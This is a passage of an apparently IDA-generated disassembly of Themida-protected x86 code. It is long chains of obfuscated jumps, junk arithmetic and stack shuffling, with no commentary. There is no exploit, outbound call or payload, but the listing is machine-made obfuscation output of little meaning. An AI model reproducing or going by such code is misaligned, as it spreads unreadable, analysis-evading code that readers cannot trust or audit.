ebp, 0CE7F0A6Ch mov esi, ebp mov ebp, [esp] sub esp, 4 jmp loc_5A7B8E ; --------------------------------------------------------------------------- loc_59E80C: ; CODE XREF: Themida_:0059F348j add ebp, 68016A0Ch pop ebx add ebp, 2 push 62EFh mov [esp], ebp push dword ptr [esp+4] jmp loc_5A2E14 ; --------------------------------------------------------------------------- loc_59E827: ; CODE XREF: Themida_:005A08C2j add esp, 4 push eax push dword ptr [esp+4] pop eax jmp loc_5A6B33 ; --------------------------------------------------------------------------- loc_59E838: ; CODE XREF: Themida_:0059A4B9j xchg eax, [esp] jmp loc_5AF0A5 ; --------------------------------------------------------------------------- loc_59E840: ; CODE XREF: Themida_:005A7F92j xor [esp], ebx jmp loc_59A231 ; --------------------------------------------------------------------------- loc_59E848: ; CODE XREF: Themida_:005A82C0j mov ebp, ecx pop ecx jmp loc_5A445B ; --------------------------------------------------------------------------- loc_59E850: ; CODE XREF: Themida_:0059A539j jbe loc_5A6C3D jmp loc_59B615 ; --------------------------------------------------------------------------- loc_59E85B: ; CODE XREF: Themida_:0059F6AFj sub ebp, 4 jmp loc_5A4EF7 ; --------------------------------------------------------------------------- loc_59E863: ; CODE XREF: Themida_:0059CC61j shl edx, 1 js loc_5ABFFE push 51D8h mov [esp], ebp jmp loc_59DDB8 ; --------------------------------------------------------------------------- loc_59E878: ; CODE XREF: Themida_:005ACF03j pop esi add ecx, edx jmp loc_5A398A ; --------------------------------------------------------------------------- loc_59E880: ; CODE XREF: Themida_:005AAF83j xchg edx, ecx not edx xchg edx, ecx shl ecx, 5 add ecx, 11AC430Eh xor ecx, 0D1DF8C2Ah jmp loc_5A88A3 ; --------------------------------------------------------------------------- loc_59E89A: ; CODE XREF: Themida_:005AA523j push 0 push dword ptr [esp] jmp loc_5A941F ; --------------------------------------------------------------------------- loc_59E8A7: ; CODE XREF: Themida_:005A58A2j jmp loc_5A2B46 ; --------------------------------------------------------------------------- loc_59E8AC: ; CODE XREF: Themida_:0059FC3Ej add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_5AD188 ; --------------------------------------------------------------------------- mov cx, [esp] sub esp, 4 mov [esp], eax push esp pop eax push esi mov esi, 4 add eax, 4934863h add eax, esi sub eax, 4934863h pop esi sub esp, 4 mov [esp], ebx push 6F91h mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_5A4FAF ; --------------------------------------------------------------------------- loc_59E8FE: ; CODE XREF: Themida_:005A57F4j xchg eax, [esp] pop esp add eax, 4CD9627Ah jmp loc_5988A2 ; --------------------------------------------------------------------------- loc_59E90C: ; CODE XREF: Themida_:005AC617j shr esi, 2 inc esi xor esi, 25B086Fh jmp loc_59D8DD ; --------------------------------------------------------------------------- loc_59E91B: ; CODE XREF: Themida_:005A5687j add esi, ecx pop ecx add eax, esi mov esi, [esp] push eax mov eax, esp jmp loc_5A6A2C ; --------------------------------------------------------------------------- loc_59E92B: ; CODE XREF: Themida_:005ABCF9j sub edi, eax jmp loc_59E2C0 ; --------------------------------------------------------------------------- loc_59E932: ; CODE XREF: Themida_:005A690Cj mov bx, [esp] jmp loc_5A7CBE ; --------------------------------------------------------------------------- loc_59E93B: ; CODE XREF: Themida_:005A6941j push 7C7041FEh pop edi add edi, 51315738h not edi push eax mov eax, 187A5B87h jmp loc_59C829 ; --------------------------------------------------------------------------- loc_59E954: ; CODE XREF: Themida_:005AA13Aj jmp loc_5A9D44 ; --------------------------------------------------------------------------- loc_59E959: ; CODE XREF: Themida_:005A8288j pop ebp add edi, 0AD6CD5ECh push 1E66h mov [esp], edi mov edi, 161059CDh jmp loc_5A1B7F ; --------------------------------------------------------------------------- loc_59E972: ; CODE XREF: Themida_:005A5719j sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] mov [esp], ebx jmp loc_5A90C6 ; --------------------------------------------------------------------------- loc_59E997: ; CODE XREF: Themida_:0059E512j mov cl, 0ECh sub ah, 57h sub ah, cl add ah, 57h pop ecx or ah, 0Eh jnz loc_5A52B8 shr ah, 1 jp loc_59C7A1 jmp loc_5AF25D ; --------------------------------------------------------------------------- loc_59E9B8: ; CODE XREF: Themida_:005A4DF2j pop ebx push edx jmp loc_59F9AB ; --------------------------------------------------------------------------- loc_59E9BF: ; CODE XREF: Themida_:0059F50Bj mov [esp], ecx mov ecx, 54DC26FFh shl ecx, 2 add ecx, 7FA5D8Fh jmp loc_5AE510 ; --------------------------------------------------------------------------- loc_59E9D5: ; CODE XREF: Themida_:005AB9F6j sub ebp, 5DB31F1Fh add ebp, esi add ebp, 5DB31F1Fh push esi jmp loc_5A3B97 ; --------------------------------------------------------------------------- loc_59E9E9: ; CODE XREF: Themida_:0059D85Aj mov ebx, 55CB2CBBh jmp loc_5A08F1 ; --------------------------------------------------------------------------- loc_59E9F3: ; CODE XREF: Themida_:0059C9E8j and ebx, 78A1764Bh xor ebx, 10201244h add ebp, ebx pop ebx sub esp, 4 mov [esp], edi push eax mov eax, 283630A6h mov edi, 283630A2h xor edi, eax pop eax sub ebp, edi pop edi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] mov [esp], ecx jmp loc_59B3E3 ; --------------------------------------------------------------------------- loc_59EA2D: ; CODE XREF: Themida_:005A1480j or eax, eax jz loc_59A361 push dword ptr [edi+1Ch] sub esp, 4 mov [esp], ebx push edx mov edx, 75F45338h jmp loc_59F000 ; --------------------------------------------------------------------------- loc_59EA4C: ; CODE XREF: Themida_:005AC806j ; Themida_:005ADA32j mov [esp], eax mov al, bl mov cl, al mov eax, [esp] add esp, 4 push dword ptr [esp] jmp loc_59E254 ; --------------------------------------------------------------------------- loc_59EA61: ; CODE XREF: Themida_:0059BF26j inc eax shr eax, 6 or eax, 761C4CB3h add eax, 0E03A9426h xor edi, eax jmp loc_59BA1F ; --------------------------------------------------------------------------- loc_59EA76: ; CODE XREF: Themida_:005A4E8Fj mov eax, esp add eax, 4 sub eax, 4 push 7A6h mov [esp], eax push dword ptr [esp+4] jmp loc_599BE9 ; --------------------------------------------------------------------------- loc_59EA91: ; CODE XREF: Themida_:005A0C2Dj pop eax jmp loc_5AE064 ; --------------------------------------------------------------------------- loc_59EA97: ; CODE XREF: Themida_:loc_5A161Bj ; Themida_:005A18E5j push 5FCDh mov [esp], ebp pop ebx mov ebp, [esp] add esp, 4 sub esp, 4 mov [esp], esi mov esi, 72966013h and ebx, esi mov esi, [esp] add esp, 4 push edx mov edx, 0A812A6Dh jmp loc_5A70F5 ; --------------------------------------------------------------------------- loc_59EACA: ; CODE XREF: Themida_:00599B82j neg dl jz loc_59D2CD and dl, 0A8h sub dl, 0D6h shr dl, 7 jmp loc_5A61A6 ; --------------------------------------------------------------------------- loc_59EAE0: ; CODE XREF: Themida_:005A9E44j mov bp, 1FAAh add [esp+4], bp jmp loc_598AA0 ; --------------------------------------------------------------------------- loc_59EAEE: ; CODE XREF: Themida_:005A6D5Cj mov edx, [esp] jmp loc_5A0129 ; --------------------------------------------------------------------------- loc_59EAF6: ; CODE XREF: Themida_:005A6B39j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59EAFB: ; CODE XREF: Themida_:0059E5D2j push 557A1D77h pop esi dec esi jz loc_5ABC68 xor esi, 0E7825D5h mov edx, esi jmp loc_5A9260 ; --------------------------------------------------------------------------- loc_59EB15: ; CODE XREF: Themida_:005AA4C3j push 1745h mov [esp], ebp jmp loc_59C94C ; --------------------------------------------------------------------------- loc_59EB22: ; CODE XREF: Themida_:loc_59E665j neg edx jle loc_59EF67 jmp loc_5A2BAD ; --------------------------------------------------------------------------- sub eax, 5E995046h xor ebp, eax loc_59EB36: ; CODE XREF: Themida_:005AE0AFj shr eax, 2 jmp loc_5A380A ; --------------------------------------------------------------------------- loc_59EB3E: ; CODE XREF: Themida_:0059E60Cj ; Themida_:005A49C8j mov edi, [esp] add esp, 4 and eax, ecx jmp loc_5A3207 ; --------------------------------------------------------------------------- loc_59EB4E: ; CODE XREF: Themida_:0059F33Bj pop esp and [edi+1Ch], ebp push dword ptr [esp] pop ebp push 3F9Ch mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 mov edx, [esp] add esp, 4 add edx, 4 add edx, 4 sub esp, 4 mov [esp], edx push dword ptr [esp+4] push dword ptr [esp] jmp loc_5A05F9 ; --------------------------------------------------------------------------- loc_59EB8C: ; CODE XREF: Themida_:005A1FE3j pop ebp pop ecx xor edx, ebx jmp loc_5A6275 ; --------------------------------------------------------------------------- loc_59EB95: ; CODE XREF: Themida_:005A2B81j push eax mov eax, 63F37920h add eax, 0CB7EDEBDh add edx, eax pop eax jmp loc_59CE3D ; --------------------------------------------------------------------------- loc_59EBA8: ; CODE XREF: Themida_:005A24D8j add edx, 51AA6F5Bh add ebx, edx mov edx, [esp] add esp, 4 add ecx, ebx pop ebx add ecx, 4 xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] shr eax, 0Eh xor eax, ecx push 2753h mov [esp], eax push 10C7h mov [esp], esi push dword ptr [esp] mov eax, [esp] add esp, 4 push 72FDh mov [esp], esi mov esi, esp add esi, 4 add esi, 4 push esi jmp loc_5A2C19 ; --------------------------------------------------------------------------- loc_59EC05: ; CODE XREF: Themida_:005A87E2j pop edx shl edi, 6 shl edi, 1 sub edi, 0FFFFFFFFh jmp loc_59D68C ; --------------------------------------------------------------------------- loc_59EC16: ; CODE XREF: Themida_:005A3303j push 19F009B7h pop ecx jmp loc_59C931 ; --------------------------------------------------------------------------- loc_59EC21: ; CODE XREF: Themida_:loc_5A6D1Ej push ecx mov ecx, 44296A9Ch and eax, ecx mov ecx, [esp] push ebp jmp loc_59BE38 ; --------------------------------------------------------------------------- loc_59EC32: ; CODE XREF: Themida_:005A7D33j pop edx push ecx mov ecx, 6CB60E37h shr ecx, 3 not ecx or ecx, 64F31365h push esi mov esi, 0D2F6EC5Dh sub ecx, 6CE31A8h sub ecx, esi add ecx, 6CE31A8h pop esi jmp loc_5A0EC3 ; --------------------------------------------------------------------------- loc_59EC5E: ; CODE XREF: Themida_:005A9601j xchg ecx, [esp] jmp loc_5990A3 ; --------------------------------------------------------------------------- loc_59EC66: ; CODE XREF: Themida_:005A7491j pop ebp push 2429h jmp loc_599B0A ; --------------------------------------------------------------------------- loc_59EC71: ; CODE XREF: Themida_:005994DDj shr ebx, 8 neg ebx jmp loc_5AE2AE ; --------------------------------------------------------------------------- loc_59EC7B: ; CODE XREF: Themida_:005A5B15j push ebx push esp pop ebx jmp loc_59D0C6 ; --------------------------------------------------------------------------- loc_59EC83: ; CODE XREF: Themida_:005AB64Aj ; Themida_:005AD9BFj sub ecx, 24EB6AA7h jmp loc_598ACC ; --------------------------------------------------------------------------- loc_59EC8E: ; CODE XREF: Themida_:005A1882j push ecx mov cl, 2Ah sub cl, 0B7h xor cl, 9Ch jmp loc_5AF2F3 ; --------------------------------------------------------------------------- loc_59EC9C: ; CODE XREF: Themida_:005A1B56j ; Themida_:005A3D99j pop eax xor esi, ebp jmp loc_5A1CE1 ; --------------------------------------------------------------------------- loc_59ECA4: ; CODE XREF: Themida_:005AC778j or ebx, ecx pop ecx xor ebx, 42672860h shl ebx, 1 push edx mov edx, 5D8B3A5Ch and edx, 14456230h push ebx mov ebx, 33C55CB9h add edx, 338C0809h add edx, ebx sub edx, 338C0809h pop ebx inc edx add edx, 0CF2883DFh jmp loc_5AED9B ; --------------------------------------------------------------------------- loc_59ECDC: ; CODE XREF: Themida_:005AC4E7j mov eax, 4 add ebx, eax jmp loc_5A5814 ; --------------------------------------------------------------------------- loc_59ECE8: ; CODE XREF: Themida_:005ACDC2j ; Themida_:005AD6E8j add eax, 3C024B7Dh add eax, ebp jmp loc_59BECC ; --------------------------------------------------------------------------- loc_59ECF4: ; CODE XREF: Themida_:005A62DFj add esp, 4 jmp loc_59D29C ; --------------------------------------------------------------------------- loc_59ECFC: ; CODE XREF: Themida_:005AE1FBj sub ecx, edi pop edi jmp loc_5A3665 ; --------------------------------------------------------------------------- loc_59ED04: ; CODE XREF: Themida_:005A50B9j add esi, 22C8E3C7h jmp loc_5A1E26 ; --------------------------------------------------------------------------- loc_59ED0F: ; CODE XREF: Themida_:005ADC1Bj add esp, 4 push eax push esp mov eax, [esp] jmp loc_5A723C ; --------------------------------------------------------------------------- loc_59ED1F: ; CODE XREF: Themida_:0059EE5Dj push ecx jmp loc_5A937F ; --------------------------------------------------------------------------- loc_59ED25: ; CODE XREF: Themida_:loc_5A854Bj neg ebx jbe loc_598FEA shl ebx, 7 js loc_5A7B88 jmp loc_5A4A22 ; --------------------------------------------------------------------------- pop edi loc_59ED3C: ; CODE XREF: Themida_:005A19CAj ; Themida_:005A2630j xor eax, [esp] mov esp, [esp] pop ecx jmp loc_5A3552 ; --------------------------------------------------------------------------- loc_59ED48: ; CODE XREF: Themida_:0059CBABj ; Themida_:005A1B5Cj add edi, 4 xchg edi, [esp] pop esp add ecx, 24EB6AA7h jmp loc_5AD9BD ; --------------------------------------------------------------------------- loc_59ED5A: ; CODE XREF: Themida_:005ACCEBj mov eax, [esp] add esp, 4 jmp loc_5A9305 ; --------------------------------------------------------------------------- loc_59ED68: ; CODE XREF: Themida_:005ADC77j add ch, 2Ch push edx jmp loc_59ADFE ; --------------------------------------------------------------------------- loc_59ED71: ; CODE XREF: Themida_:0059F665j jz loc_59C3DF xor esi, 2D21BCABh jmp loc_5ADBDD ; --------------------------------------------------------------------------- loc_59ED82: ; CODE XREF: Themida_:005A45C2j ; Themida_:005AAE10j pop edx push ebp mov ebp, 38566811h jmp loc_5A2D32 ; --------------------------------------------------------------------------- mov esp, [esp] jmp loc_59838C ; --------------------------------------------------------------------------- loc_59ED96: ; CODE XREF: Themida_:0059FA4Ej mov [esp], eax jmp loc_59C1B2 ; --------------------------------------------------------------------------- loc_59ED9E: ; CODE XREF: Themida_:0059E1B6j sub esp, 4 mov [esp], edx mov edx, 4 sub ebp, edx mov edx, [esp] add esp, 4 jmp loc_5A56B7 ; --------------------------------------------------------------------------- loc_59EDBC: ; CODE XREF: Themida_:005A8819j mov eax, [esp] add esp, 4 or bl, 99h jnp loc_5A614C jmp loc_59BC53 ; --------------------------------------------------------------------------- loc_59EDD3: ; CODE XREF: Themida_:0059F1E1j add edi, ebx sub edi, 49341C85h push dword ptr [esp] pop ebx push esi mov esi, esp jmp loc_5A2D19 ; --------------------------------------------------------------------------- loc_59EDE7: ; CODE XREF: Themida_:0059F8CFj pop edi push 739Dh mov [esp], ecx mov ecx, esp push edi mov edi, 4 add ecx, edi pop edi sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], ebp push ecx push 141F2138h mov ecx, [esp] add esp, 4 xor ecx, 1F3C179Ah ja loc_59FAAC not ecx inc ecx add ecx, 233E56AEh push ecx mov edx, ecx loc_59EE2C: ; CODE XREF: Themida_:005AC940j sub esi, 32D12A09h add esi, ecx jmp loc_59BA32 ; --------------------------------------------------------------------------- loc_59EE39: ; CODE XREF: Themida_:0059D524j sub esp, 4 mov [esp], edx mov edx, esp push ecx jmp loc_5A145F ; --------------------------------------------------------------------------- loc_59EE47: ; CODE XREF: Themida_:005A85D8j push ebp jmp loc_5A4D77 ; --------------------------------------------------------------------------- loc_59EE4D: ; CODE XREF: Themida_:005AA5E8j pop esi sub ecx, 33EA1766h sub ecx, edi add ecx, 33EA1766h pop edi jmp loc_59ED1F ; --------------------------------------------------------------------------- loc_59EE62: ; CODE XREF: Themida_:0059C4B6j shr ebp, 4 jmp loc_5AC2A4 ; --------------------------------------------------------------------------- loc_59EE6A: ; CODE XREF: Themida_:005999AEj pop eax sub esp, 4 mov [esp], esi push edx mov edx, 22654E7Fh push edx jmp loc_5A069D ; --------------------------------------------------------------------------- loc_59EE7D: ; CODE XREF: Themida_:005AAA07j mov [esp], ecx push 197F559Fh pop ecx shr ecx, 6 xchg edi, ecx not edi jmp loc_5A6B09 ; --------------------------------------------------------------------------- loc_59EE92: ; CODE XREF: Themida_:005A57CBj push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, 50016141h neg edx dec edx not edx shr edx, 3 push eax jmp loc_5A7F81 ; --------------------------------------------------------------------------- loc_59EEB0: ; CODE XREF: Themida_:0059A1C3j jmp loc_59838C ; --------------------------------------------------------------------------- loc_59EEB5: ; CODE XREF: Themida_:005AAB33j push esi mov esi, 34DA4EC9h sub esi, 0F5B33CBBh add ebp, esi pop esi pop edx jmp loc_5ABD06 ; --------------------------------------------------------------------------- loc_59EECA: ; CODE XREF: Themida_:005A84F6j xchg eax, [esp] jmp loc_5A64DE ; --------------------------------------------------------------------------- loc_59EED2: ; CODE XREF: Themida_:0059CE15j push ebp mov ebp, 5F1E5FE2h sub [esp+4], ebp pop ebp mov ecx, [esp] jmp loc_59964F ; --------------------------------------------------------------------------- loc_59EEE5: ; CODE XREF: Themida_:005ABB6Dj sub ebx, 61DF6B79h mov ecx, ebx pop ebx add eax, ecx jmp loc_5AD085 ; --------------------------------------------------------------------------- lodsb xor al, bl jmp loc_5AC018 ; --------------------------------------------------------------------------- loc_59EEFD: ; CODE XREF: Themida_:005A0850j shl esi, 5 or esi, 7933191Eh sub esi, 7C396219h jmp loc_5A2326 ; --------------------------------------------------------------------------- loc_59EF11: ; CODE XREF: Themida_:005A5376j xchg ebx, edx jmp loc_5A88CD ; --------------------------------------------------------------------------- loc_59EF18: ; CODE XREF: Themida_:005A2257j ; Themida_:005AF56Cj sub ecx, 100C68E2h push ebp jmp loc_5AAE51 ; --------------------------------------------------------------------------- loc_59EF24: ; CODE XREF: Themida_:005A0F9Ej ; Themida_:005A5220j mov edi, [esp] add esp, 4 jmp loc_59D740 ; --------------------------------------------------------------------------- loc_59EF32: ; CODE XREF: Themida_:0059C811j inc bp jmp loc_59DB22 ; --------------------------------------------------------------------------- loc_59EF39: ; CODE XREF: Themida_:0059F4A6j pop bx jmp loc_5A3A88 ; --------------------------------------------------------------------------- loc_59EF40: ; CODE XREF: Themida_:005A0439j mov [esp], eax push esp pop eax add eax, 4 jmp loc_5A9368 ; --------------------------------------------------------------------------- loc_59EF4F: ; CODE XREF: Themida_:0059F03Cj add eax, 3BDE6253h add eax, ebx push ecx mov ecx, 57B44E14h add ecx, 0E42A143Fh jmp loc_5A6DDC ; --------------------------------------------------------------------------- loc_59EF67: ; CODE XREF: Themida_:0059EB24j jmp loc_59CC5C ; --------------------------------------------------------------------------- loc_59EF6C: ; CODE XREF: Themida_:005A1C39j sub eax, 5E995046h xor ebp, eax pop eax sub esp, 4 mov [esp], ebx jmp loc_5A7CDB ; --------------------------------------------------------------------------- loc_59EF7F: ; CODE XREF: Themida_:005AC7D3j push 65B734FFh push dword ptr [esp] pop esi push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp jmp loc_5A17B7 ; --------------------------------------------------------------------------- loc_59EF9D: ; CODE XREF: Themida_:005A9963j mov edx, esi pop esi mov eax, [esp] add esp, 4 mov ebx, 782E45B7h sub ebx, edx pop edx jmp loc_5A53E9 ; --------------------------------------------------------------------------- loc_59EFB6: ; CODE XREF: Themida_:005A7FB0j mov esp, [esp] mov [esp], esi mov esi, 4DB86EDAh push ecx mov ecx, 21F4210Dh xor esi, ecx pop ecx xor esi, 6C4C4FD3h add ebp, 62806056h jmp loc_5A8F5A ; --------------------------------------------------------------------------- loc_59EFDB: ; CODE XREF: Themida_:005A495Fj xor eax, 1B8A5385h mov edi, eax pop eax jmp loc_59B53A ; --------------------------------------------------------------------------- loc_59EFE8: ; CODE XREF: Themida_:005AD2D0j mov [esp], esi jmp loc_5AD741 ; --------------------------------------------------------------------------- loc_59EFF0: ; CODE XREF: Themida_:005A118Cj neg ch sub ch, 0FFh xor ch, 0A5h sub al, ch pop ecx jmp loc_5A7C1A ; --------------------------------------------------------------------------- loc_59F000: ; CODE XREF: Themida_:0059EA47j ; Themida_:loc_5ACD15j shl edx, 2 or edx, 2C1B2F25h jmp loc_5A5921 ; --------------------------------------------------------------------------- loc_59F00E: ; CODE XREF: Themida_:005AE05Fj xor edi, ebp pop ebp push ebx mov ebx, 56F7230Bh push edi push 73C53EAh jmp loc_5AE97C ; --------------------------------------------------------------------------- loc_59F022: ; CODE XREF: Themida_:0059DF61j pop edi xor edx, 7D9835DBh jge loc_5A3236 add edx, 0CE96F0Bh jl loc_59F4E4 loc_59F03B: ; CODE XREF: Themida_:005AC563j pop ebp jmp loc_59EF4F ; --------------------------------------------------------------------------- loc_59F041: ; CODE XREF: Themida_:loc_5ABDDFj inc edi jmp loc_59A892 ; --------------------------------------------------------------------------- loc_59F047: ; CODE XREF: Themida_:005A4045j ; Themida_:005A7E30j inc edi shl edi, 8 jmp loc_598A1C ; --------------------------------------------------------------------------- loc_59F050: ; CODE XREF: Themida_:0059BB82j add edi, 78A76C24h push edi pop ebp pop edi jmp loc_5A1FAD ; --------------------------------------------------------------------------- loc_59F05E: ; CODE XREF: Themida_:005AB18Bj add eax, ecx jmp loc_5A00F3 ; --------------------------------------------------------------------------- loc_59F065: ; CODE XREF: Themida_:0059A9D7j ; Themida_:0059A9DFj ... pop eax xor ebp, eax jmp loc_5A1F5A ; --------------------------------------------------------------------------- loc_59F06D: ; CODE XREF: Themida_:005A9300j push 1F87h mov [esp], edi mov edi, 308801DAh or eax, edi jmp loc_59C527 ; --------------------------------------------------------------------------- loc_59F081: ; CODE XREF: Themida_:005A8878j add esp, 4 xor al, cl push dword ptr [esp] pop ecx push eax mov eax, esp sub esp, 4 mov [esp], edx mov edx, 76A3230Bh push edi mov edi, 37674FD6h shr edi, 6 add edi, 1 neg edi push edx mov edx, 343D25EFh inc edx sub edx, 7E2D5810h add edx, 19555B03h neg edx sub edx, 2DA777AFh xor edx, 227747EAh jmp loc_5AE785 ; --------------------------------------------------------------------------- loc_59F0CF: ; CODE XREF: Themida_:0059F9ADj add edx, 4 sub edx, 4 xchg edx, [esp] pop esp jmp loc_5A5521 ; --------------------------------------------------------------------------- loc_59F0E4: ; CODE XREF: Themida_:0059FC7Bj shr ch, 6 sub ch, 5Bh jmp loc_59CEEF ; --------------------------------------------------------------------------- loc_59F0EF: ; CODE XREF: Themida_:005A002Ej mov ebp, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] or eax, ebp mov ebp, [esp] add esp, 4 jmp loc_5A5A61 ; --------------------------------------------------------------------------- loc_59F114: ; CODE XREF: Themida_:005ACF83j add edi, 0C94A8DABh add ebp, edi push dword ptr [esp] jmp loc_59D98B ; --------------------------------------------------------------------------- loc_59F124: ; CODE XREF: Themida_:0059C360j and eax, 314B7D35h xor eax, 200B3414h add ebx, eax pop eax jmp loc_5A16A8 ; --------------------------------------------------------------------------- loc_59F136: ; CODE XREF: Themida_:00598C9Aj ; Themida_:loc_59A035j add al, 9Dh or cl, al pop eax sub cl, 0ADh add al, cl jmp loc_59C394 ; --------------------------------------------------------------------------- loc_59F145: ; CODE XREF: Themida_:0059CB14j ; Themida_:005A7382j push edx mov edx, 568C5747h and edx, 73C136Eh sub edx, 8D121BAh and edx, 8752813h sub edx, 8301FFCh add ebx, edx pop edx xchg ebx, [esp] pop esp jmp loc_5A9941 ; --------------------------------------------------------------------------- loc_59F16F: ; CODE XREF: Themida_:005A9E5Aj push dword ptr [esp] mov ebp, [esp] jmp loc_5ABC7D ; --------------------------------------------------------------------------- loc_59F17A: ; CODE XREF: Themida_:005AE343j sub al, 53h push bx push 11B8h jmp loc_5ABD49 ; --------------------------------------------------------------------------- loc_59F188: ; CODE XREF: Themida_:0059C49Ej sub esp, 4 mov [esp], edi push edx jmp loc_599051 ; --------------------------------------------------------------------------- loc_59F194: ; CODE XREF: Themida_:005A696Aj pop edx jmp loc_5A2AEA ; --------------------------------------------------------------------------- loc_59F19A: ; CODE XREF: Themida_:005A784Cj push ecx push 1EBCh mov [esp], esp add dword ptr [esp], 4 pop ecx add ecx, 4 push ebp mov ebp, 2 jmp loc_5A2A65 ; --------------------------------------------------------------------------- loc_59F1B9: ; CODE XREF: Themida_:loc_5AC7FBj jmp loc_59D586 ; --------------------------------------------------------------------------- loc_59F1BE: ; CODE XREF: Themida_:005AC6D2j jmp loc_59D36C ; --------------------------------------------------------------------------- loc_59F1C3: ; CODE XREF: Themida_:005A15E7j mov [esp], ebx jmp loc_5AC0AE ; --------------------------------------------------------------------------- loc_59F1CB: ; CODE XREF: Themida_:005A9350j pop ecx sub ebx, 28B13302h xor ebx, 0C5FD3ABh push ebp mov ebp, 49341C85h add edi, ebp pop ebp jmp loc_59EDD3 ; --------------------------------------------------------------------------- loc_59F1E6: ; CODE XREF: Themida_:0059D4F9j ; Themida_:005A893Dj mov dh, bh mov ch, dh pop edx jmp loc_5AEB0B ; --------------------------------------------------------------------------- loc_59F1F0: ; CODE XREF: Themida_:005ADADAj mov esp, [esp] mov [esp], ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] mov cx, [esp] push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] mov esp, [esp] mov [esp], ecx push esp pop ecx add ecx, 4 push ebx mov ebx, 2 sub ecx, 28676A5h add ecx, ebx push edi push ebp mov ebp, 11FF0160h inc ebp or ebp, 4D7E6CBEh xor ebp, 5F791B5Ah mov edi, ebp pop ebp add ecx, edi pop edi push dword ptr [esp] pop ebx add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_5AA9D0 ; --------------------------------------------------------------------------- loc_59F26D: ; CODE XREF: Themida_:00599110j xor al, 0C5h xor bh, al mov eax, [esp] add esp, 4 sub al, 41h add al, bh add al, 41h pop ebx add al, 0C3h jmp loc_59B7EE ; --------------------------------------------------------------------------- loc_59F285: ; CODE XREF: Themida_:005A8308j push 7A85h mov [esp], edi pop dword ptr [edx+38h] jmp loc_5A055B ; --------------------------------------------------------------------------- loc_59F295: ; CODE XREF: Themida_:005A3BEBj push 7D3Ah mov [esp], esi mov esi, 9277757h mov eax, esi pop esi mov ebx, eax mov eax, [esp] add esp, 4 and ebx, 76B93CADh jmp loc_5A6D61 ; --------------------------------------------------------------------------- loc_59F2BB: ; CODE XREF: Themida_:005A6A98j mov esp, [esp] jmp loc_5ABF99 ; --------------------------------------------------------------------------- loc_59F2C3: ; CODE XREF: Themida_:005A3334j push ebx mov ebx, 7B5970F2h not ebx shl ebx, 5 xor ebx, 0CDB7092h jns loc_59A05B xor ebx, 0B7262831h jmp loc_5A79F9 ; --------------------------------------------------------------------------- loc_59F2E5: ; CODE XREF: Themida_:0059E44Fj mov ebx, [esp] add esp, 4 add bl, 0AFh sub bl, 3Fh jmp loc_59A2CD ; --------------------------------------------------------------------------- loc_59F2F9: ; CODE XREF: Themida_:005AD390j push 0BC0B0Eh pop esi inc esi jmp loc_5A4498 ; --------------------------------------------------------------------------- loc_59F305: ; CODE XREF: Themida_:005A63B0j push edx mov edx, esp jmp loc_5A2AF0 ; --------------------------------------------------------------------------- loc_59F30D: ; CODE XREF: Themida_:0059B027j neg eax sub eax, 2028234Ch xor edi, eax pop eax sub eax, edi pop edi pop esi mov esi, [esp] push esi mov esi, esp add esi, 4 jmp loc_5A9AF8 ; --------------------------------------------------------------------------- loc_59F32C: ; CODE XREF: Themida_:0059B005j add eax, 29C73DB3h add eax, ebx jmp loc_5A32C0 ; --------------------------------------------------------------------------- loc_59F338: ; CODE XREF: Themida_:005AACFEj xor esi, [esp] jmp loc_59EB4E ; --------------------------------------------------------------------------- loc_59F340: ; CODE XREF: Themida_:005ABC43j add ebp, ebx add ebp, 5CA5680Bh jmp loc_59E80C ; --------------------------------------------------------------------------- loc_59F34D: ; CODE XREF: Themida_:005ACB77j add esp, 4 push ebx xchg ebx, [esp] not ebx xchg ebx, [esp] pop ebx inc ebx shr ebx, 1 push esi push ebx push 0A36590Dh jmp loc_59A965 ; --------------------------------------------------------------------------- loc_59F36C: ; CODE XREF: Themida_:0059ADE7j add esp, 4 sub esp, 4 mov [esp], ecx jmp loc_5A4015 ; --------------------------------------------------------------------------- loc_59F37A: ; CODE XREF: Themida_:005A3092j mov bl, 0EBh add bl, cl pop ecx sub bl, dh mov edx, [esp] push ecx jmp loc_5A2A08 ; --------------------------------------------------------------------------- loc_59F38A: ; CODE XREF: Themida_:0059B04Fj mov [esp], esi mov esi, 2 push edx mov edx, 4CA50E73h and edx, 119A5641h xor edx, 209E7302h add edx, 314A6007h xor edx, 0F35A9CEh jmp loc_599562 ; --------------------------------------------------------------------------- loc_59F3B5: ; CODE XREF: Themida_:0059A5CCj mov esi, 6F12211Fh sub edi, esi pop esi pop edx movzx eax, al jmp loc_5A0166 ; --------------------------------------------------------------------------- loc_59F3C6: ; CODE XREF: Themida_:005A1346j mov esp, [esp] mov [esp], esi sub esp, 4 mov [esp], ecx mov ecx, ebx sub esp, 4 mov [esp], ecx xor dword ptr [esp], 43F73C3Ch pop esi xor esi, 43F73C3Ch push dword ptr [esp] jmp loc_5A217E ; --------------------------------------------------------------------------- loc_59F3F6: ; CODE XREF: Themida_:005A72F3j add dword ptr [esp+8], 1EBA6C40h add [esp+8], ebp push edi mov edi, 1EBA6C40h jmp loc_5AEBE6 ; --------------------------------------------------------------------------- loc_59F40D: ; CODE XREF: Themida_:005A7A57j pop eax xor al, dh mov edx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5AE7B4 ; --------------------------------------------------------------------------- loc_59F42A: ; CODE XREF: Themida_:005ADC23j neg al jmp loc_5A70E1 ; --------------------------------------------------------------------------- loc_59F431: ; CODE XREF: Themida_:loc_5A96FCj xor ecx, 0BB594447h push ebp jmp loc_5A2B61 ; 